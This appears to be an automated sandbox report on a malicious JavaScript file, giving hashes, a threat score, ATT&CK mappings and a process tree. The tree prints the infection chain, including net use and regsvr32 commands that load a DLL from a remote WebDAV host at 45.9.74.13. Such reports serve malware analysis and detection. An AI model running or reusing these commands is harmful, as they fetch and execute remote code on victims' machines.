d8ab4102f62ed6debdc1c9f9e5a6733b6f08bc065ac6ccc0cdc152c93b81f24e

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
09/07/2024, 00:56

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General

Target

7989242762876926607.js
Size

5KB
MD5

c1884f56cb4dbae6f7c395f20b582fda
SHA1

c3ad7c116c56c68f39362f5dd37f021497bef6be
SHA256

d8ab4102f62ed6debdc1c9f9e5a6733b6f08bc065ac6ccc0cdc152c93b81f24e
SHA512

8c048b3336d03367517fea722b8461783547af0a39fb279d7e29a39dc1e767b8ecc6a24335d8bc3810f7774c667548032c1bd07470e85c41352daaa37c941fb1
SSDEEP

96:Vfh2Xh6NTy4gzk4ggYmi1leUIFNM/d9IjzuCGUfL9UkY:VYxx3kMDi1QZFNWdSjzuC9L9UkY

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2620	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2232 wrote to memory of 2216	2232	wscript.exe	28
PID 2232 wrote to memory of 2216	2232	wscript.exe	28
PID 2232 wrote to memory of 2216	2232	wscript.exe	28
PID 2216 wrote to memory of 2660	2216	cmd.exe	30
PID 2216 wrote to memory of 2660	2216	cmd.exe	30
PID 2216 wrote to memory of 2660	2216	cmd.exe	30
PID 2216 wrote to memory of 2620	2216	cmd.exe	31
PID 2216 wrote to memory of 2620	2216	cmd.exe	31
PID 2216 wrote to memory of 2620	2216	cmd.exe	31
PID 2216 wrote to memory of 2620	2216	cmd.exe	31
PID 2216 wrote to memory of 2620	2216	cmd.exe	31

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\7989242762876926607.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\7989242762876926607.js" "C:\Users\Admin\\rgggul.bat" && "C:\Users\Admin\\rgggul.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2216
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2660
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\502.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2620

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\rgggul.bat

Filesize
5KB

MD5
c1884f56cb4dbae6f7c395f20b582fda

SHA1
c3ad7c116c56c68f39362f5dd37f021497bef6be

SHA256
d8ab4102f62ed6debdc1c9f9e5a6733b6f08bc065ac6ccc0cdc152c93b81f24e

SHA512
8c048b3336d03367517fea722b8461783547af0a39fb279d7e29a39dc1e767b8ecc6a24335d8bc3810f7774c667548032c1bd07470e85c41352daaa37c941fb1

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